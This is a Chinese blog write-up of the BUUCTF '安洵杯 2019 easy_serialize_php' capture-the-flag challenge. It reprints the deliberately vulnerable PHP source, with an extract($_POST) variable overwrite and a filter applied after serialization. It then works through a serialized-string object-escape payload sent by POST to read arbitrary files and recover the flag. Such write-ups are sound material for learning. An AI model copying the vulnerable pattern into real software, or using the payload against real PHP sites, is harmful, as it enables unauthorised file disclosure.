BUUCTF [安洵杯 2019]easy_serialize_php

考点:

变量覆盖、反序列化中的对象逃逸

题目地址:BUUCTF在线评测

源码如下:

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

传入参数为phpinfo,会eval执行phpinfo

发现了一个文件,d0g3_flag.php,后面待用。

分析源代码总结这道题思路如下:

通过利用file_get_contents来获取flag,往前推关键是$userinfo['img']这个变量要是个文件才可以。这个变量是serialize_info反序列化来的。然而 serialize_info又是_SESSION序列化在经过filter函数得来的。又因为$userinfo['img']有img这个键值,那么往前推应该是 _SESSION这个变量里也要有img这个键值。

大体分析清楚后,明白这里就有利用的空间了:

$serialize_info = filter(serialize($_SESSION));//

数据经过序列化了之后又经过了一层过滤函数,而这层过滤函数会干扰序列化后的数据。

任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。

fiter函数过滤'php','flag','php5','php4','fl1g'这几个,所以我们待会可以控制序列化连里的某些键值为过滤的这些:'php','flag','php5','php4','fl1g',导致其长度与前面的数量不匹配,进而会和后面的键值对结合,造成反序列化对象逃逸。这里到构造序列化链时在细说。

可以通过控制_SESSION变量的img键值为含有flag的某个文件,最后赋值给到$userinfo['img'],那一经file_get_contents读取便可拿到flag。

知道怎么利用img参数了,这里有几个注意的地方如下:

if(!$_GET['img_path']){//$_GET['img_path'] 为空情况下会默认给定一个图片文件名 然后进行base64编码 赋值给SESSION
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}//这里对接收到的img文件名进行base64编码和sha1加密

这里会对强行给img键值赋值,但是不影响,当用POST__传参新的序列化值进去后, extract($POST);这个函数会将构造的新的键值重新赋值给img,这里就是变量覆盖了。

构造开始,首先构造序列化链:

因为$userinfo['img']是要经过base解码的,所以我们要将待会给img键值赋值时应先进行编码:

先利用刚刚得到的d0g3_f1ag.php,先读一下这个文件,它的 base64编码是ZDBnM19mMWFnLnBocA==

$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));

得到: "a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"**

令user值为'flagflagflagflagflagflag'

function值为:'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}'

img值不变,即:

$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA=='; 

序列化得到:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

因为flag被过滤了,所以最终序列化链应该为:

 a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

可以看到,user的内容长度依旧为24,但是已经没有内容了,所以反序列化时会自动往后读取24位:会读取到上图的位置,然后结束,由于user的序列化内容读取数据时需要往后填充24位,导致后面function的内容也发生了改变,吞掉了其双引号,导致我们可以控制后面的序列化内容。这里引用原文的解释:安洵杯2019 官方Writeup(Web/Misc) - D0g3 - 先知社区

php反序列化时,当一整段内容反序列化结束后,后面的非法字符将会被忽略,而如何判断是否结束呢,可以看到,前面有一个a:3,表示序列化的内容是一个数组,有三个键,而以{作为序列化内容的起点,}作为序列化内容的终点。

所以此时后面的";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}在反序列化时就会被当作非法字符忽略掉,导致我们可以控制$userinfo["img"]的值,达到任意文件读取的效果。

分析完毕,最终构造如下:

url?file参数应该为show_image,下面的语句才会成立。

}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

POST传的参数如下:  

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';

 

f12查看源代码:  

 

提示flag在/d0g3_fllllllag里面,对d0g3_fllllllag进行base64编码:

L2QwZzNfZmxsbGxsbGFn,

再次构造参数,拿到flag。 

 

最后这里还有个小疑问:

看别人构造的时候,发现&$_SESSION['img'] = 'L2QwZzNfZmxsbGxsbGFn';不用传进去也可以拿到flag:  

 

 那么序列化的时候不就成了只有两个键进行序列化,那最后的";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}根本没有出现呀,那又怎么会构成反序列化对象img逃逸,被赋值为L3VwbG9hZC9ndWVzdF9pbWcuanBn??那后面的img不是mei有赋到值吗???( 本人新手小白,希望大佬们不吝赐教,这里为啥是这样)

 

ps:

若引用文章侵权,麻烦您第一时间跟我联系,我好删改,本人ctf新手,还望师傅们不吝赐教,欢迎斧正!感谢阅读。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值